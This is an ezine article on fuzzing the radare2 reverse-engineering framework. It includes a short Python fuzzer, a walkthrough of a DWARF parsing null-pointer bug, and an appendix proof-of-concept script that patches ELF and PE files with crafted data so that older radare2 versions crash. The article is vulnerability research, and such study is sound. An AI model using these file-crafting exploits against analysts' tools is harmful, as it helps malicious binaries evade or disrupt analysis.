Copy Link
Add to Bookmark
Report

1.5 Fuzzing Radare2 For 0days In About 30 Lines Of Code

eZine's profile picture
Published in 
tmp0ut
 · 2 years ago

~ Architect & S01den

Abstract

Radare2 is a well-known open-source framework for reverse-engineering and binary analysis.

This kind of tool is pretty interesting to analyse, searching for vulnerabilities, since they are used in fields such as malware analysis.

In this paper we'll explain how we discovered two bugs (CVE-2020-16269 and CVE-2020-17487) from scratch, by writting our own -dumb- fuzzer and doing a bit of reverse-engineering.

In a first part, we'll explain how we fuzzed radare2 and in a second part, we'll see how we used the crashes found by fuzzing in order to analyse, isolate and reproduce bugs, by taking as example the ELF related bug (CVE-2020-16269).

Fuzzing

In order to find the two vulnerabilities, we applied dumb fuzzing to our target.
The key factor when doing dumb fuzzing, is having a diverse corpus in terms of code coverage.

We chose to use the testbins repo from Radare2[0].

During fuzzing we found crashes within 30 minutes, in several different file formats. Of the formats, interesting to us, were PE and ELF, the two most used executable formats.

Without further delay, here is a tiny version of our fuzzer.

----------------------------------- CUT-HERE ------------------------------------- 
import glob;import random;import subprocess;import hashlib

def harness(d):
tf = open("wdir/tmp", "wb")
tf.write(d)
tf.close()
try:
p = subprocess.run(['r2','-qq', '-AA','wdir/tmp'], stdin=None, timeout=10)
except:
return
try:
p.check_returncode()
except:
print(f"Proc exited with code {p.returncode}")
fh = hashlib.sha256(d).hexdigest()

dump = open(f'cdir/crash_{fh}', 'wb')
dump.write(d);dump.close()

def mutate(data):
mutable_bytes = bytearray(data)
for a in range(10):
r = random.randint(0, len(mutable_bytes)-1)
mutable_bytes[r] = random.randint(0,254)

return mutable_bytes

if __name__ == '__main__':
fs = glob.glob("corpus/*")
while True:
f = open(random.choice(fs), 'rb').read()
harness(mutate(f))
----------------------------------------------------------------------------------


Exploitation

Having a few sample that will make Radare2 crash, letus look at the reason behind the crash.

The first one is an ELF, a mutated version of dwarftest, a sample file which holds DWARF informations.

$ file dwarftest 
---> dwarftest: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, ...,with debug_info, not stripped

To find out which byte triggers the bug, we analyze the offending sample loaded with Radare2 using a debugger.

Alternatively it is also viable to diff the original and mutated sample to find the offending byte(s).

We can do that easily thanks to radiff2:

$ radiff2 bins/src/dwarftest mutated_dwarftest 
0x000010e1 00 => 01 0x000010e1

This offset in the file is part of the DWARF structure. This is only true for binaries that already have DWARF information attached, but we should be able to craft malformed DWARF info and inject it into any ELF.

To figure out why our DWARF info upsets Radare2 we can take a look with objdump:

$ objdump --dwarf=info mutated_dwarftest 
...
<4c> DW_AT_name :objdump: WARNING: the DW_FORM_strp shift is too
large: 164 (indirect string, shift: 0x164): <shift too large>
...

Well, we’re almost done.

Now, just need to look how we can exploit it. To do that, we just have to look at the backtrace of a crash with gdb and then, analyse the source code of the function (radare2 being fortunately an open-source project) where the bug is triggered.

The faulty line is in the function parse_typedef:

name = strdup (value->string.content);

This triggers a null pointer dereference when the duplicated string is NULL, and without going into details, we figured out thanks to the forbidden power of reverse engineering that it’s the case when a shift in DW_AT_name is too large.

Now, it’s time to write a script which can modify any ELF to trigger the bug.
In appendix, you can find the full exploit, containing the exploitation of the PE bug (CVE-2020-17487, which also simply makes radare2 unable to load the binary)

Conclusion

We hope that you enjoyed this paper.

Now, you know that it isn't that hard to find bugs in widely-used tools. So now, try to find it yourself (and especially in reverse-engineering tools) !

Even if the bug isn't exploitable in another way than a DoS, crashing a reverse engineering tool when loading a binary still useful...

Notes & References

[0] https://github.com/radareorg/radare2-testbins

Appendix

- Exploit POC (See 5.1.py in txt/)

5.1.py

#!/usr/bin/python3 

from elftools.elf.elffile import ELFFile
from elftools.elf.enums import ENUM_E_MACHINE
import sys
import pefile
import struct
import argparse
import os
import base64

# Those vulnerabilities were patched, they only work for a version of radare2 <= 4.5.0

# for ELF:
# trigger a segfault in radare2 by modifing a DW_FORM_strp (a reference to a string in the dwarf debug format) (modify the shift in DW_AT_name)
# (exploit the CVE-2020-16269)
# for PE:
# trigger a segfault in radare2 by modifing the Object Identifier in IMAGE_DIRECTORY_ENTRY_SECURITY (in PE files)
# bugs found by S01den and Architect (with custom fuzzing)
# (exploit the CVE-2020-17487)

def get_offset(fname):
pe = pefile.PE(fname, fast_load = True)
pe.parse_data_directories( directories=[pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_SECURITY']])

sig_offset = 0
found = 0

for s in pe.__structures__:
if s.name == 'IMAGE_DIRECTORY_ENTRY_SECURITY':
sig_offset = s.VirtualAddress
print("[*] IMAGE_DIRECTORY_ENTRY_SECURITY offset = "+hex(sig_offset))
sig_len = s.Size
print("[*] Size: "+hex(sig_len))
if(sig_len <= 0):
sig_offset = 0

pe.close()

return sig_offset

print("__________ _____ ________ _____ _________ .__ ")
print("\______ \_______ ____ _____/ ____\ \_____ \_/ ____\ \_ ___ \____________ _____| |__ ")
print("| ___/\_ __ \/ _ \ / _ \ __\ / | \ __\ / \ \/\_ __ \__ \ / ___/ | \ ")
print("| | | | \( <_> | <_> ) | / | \ | \ \____| | \// __ \_\___ \| Y \ ")
print("|____| |__| \____/ \____/|__| \_______ /__| \______ /|__| (____ /____ >___| / ")
print(" \/ \/ \/ \/ \/ ")


if(len(sys.argv) < 2):
print("Command: ./unRadare2.py -elf file_to_patch or -pe file_to_patch")
exit()

filename = sys.argv[2]

if(sys.argv[1] == "-elf"):
found = 0

file = open(filename,"rb")
binary = bytearray(file.read())
elffile = ELFFile(file)

offset_section_table = elffile.header.e_shoff
nbr_entries_section_table = elffile.header.e_shnum

for section in elffile.iter_sections():
if(section.name == ".debug_info"):
print("[*] .debug_info section f0und at %s!" % hex(section['sh_offset']))
found = 1
break

if(found):
offset_dbg = section['sh_offset']
binary[offset_dbg+0x31] = 0xff
new_filename = filename+"_PoC"
new_file = open(new_filename,"wb")
new_file.write(binary)
new_file.close()

print("[*] ELF patched ! ----> "+new_filename)

else:
comment_section = 0
shstrtab_section = 0

print("[!] No .debug_info section f0und :(")
print("[*] So let's add it !")

bin_abbrev = base64.b64decode("AREBJQ4TCwMOGw4RARIHEBcAAAIWAAMOOgs7C0kTAAADJAALCz4LAw4AAAQkAAsLPgsDCAAABQ8ACwsAAAYPAA==")
bin_info = base64.b64decode("OAAAAAQAAAAAAAgBowAAAATXDQAAhxcAAM0OQAAAAAAAYCAAAAAAAAAAAAAAAjAAAAAD1DgAAAADCAcyFQAAAwEI")

open("tmp_info", "wb").write(bin_info)
open("tmp_abbrev", "wb").write(bin_abbrev)

cmd_1 = "objcopy --add-section .debug_info=tmp_info "+filename
cmd_2 = "objcopy --add-section .debug_abbrev=tmp_abbrev "+filename

os.system(cmd_1)
os.system(cmd_2)
os.remove("tmp_info")
os.remove("tmp_abbrev")
print("[*] ELF patched ! ----> "+filename)

file.close()

elif(sys.argv[1] == "-pe"):
sig_offset = get_offset(filename)

f = open(filename,'rb')
content = bytearray(f.read())
f.close()

if(sig_offset == 0):
print("[!] Nothing found... Trying to implant anyway")
i = 0
exploit = b"\x80\x08\x00\x00\x00\x00\x02\x000\x82\x08s\x06\t*\x86H\x86\xf7\r\x01\x07\x02\xa0\x82\x08d0\x82\x08`\x02\x01\x011\x0b0\t\x06\x05+\x0e\x03\x02\x1a\x05\x000h\x86\n+\x06\x01\x04\x01\x827\x02\x01\x04\xa0Z0X03\x06\n+\x06\x01\x04\x01\x827\x02\x01\x0f0%\x0b\x01\x00\xa0 \xa2\x1e\x80\x1c\x00<\x00<\x00<\x00O\x01b\x00s\x00o\x00l\x00e\x00t\x00e\x00>\x00>\x00>0!0\x0b\x22"

while i != len(content)-123:
if content[i:i+123] == b"\x00"*123:
print(f"[*] Found space at {hex(i)}")
break
i += 1

pe = pefile.PE(filename, fast_load = True)

for s in pe.__structures__:
if s.name == 'IMAGE_DIRECTORY_ENTRY_SECURITY':
s.VirtualAddress = i
s.Size = 0x880
pe.set_bytes_at_offset(i, exploit)

pe.write(filename="output.exe")

else:
print("[*] OID found !: "+hex(content[sig_offset+0x7a]))
content[sig_offset+0x7a] += 1
f = open("output.exe",'wb')
f.write(content)
f.close()

print("[*] D0ne ! ----> output.exe")

else:
print("[!] Invalid argument !")

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT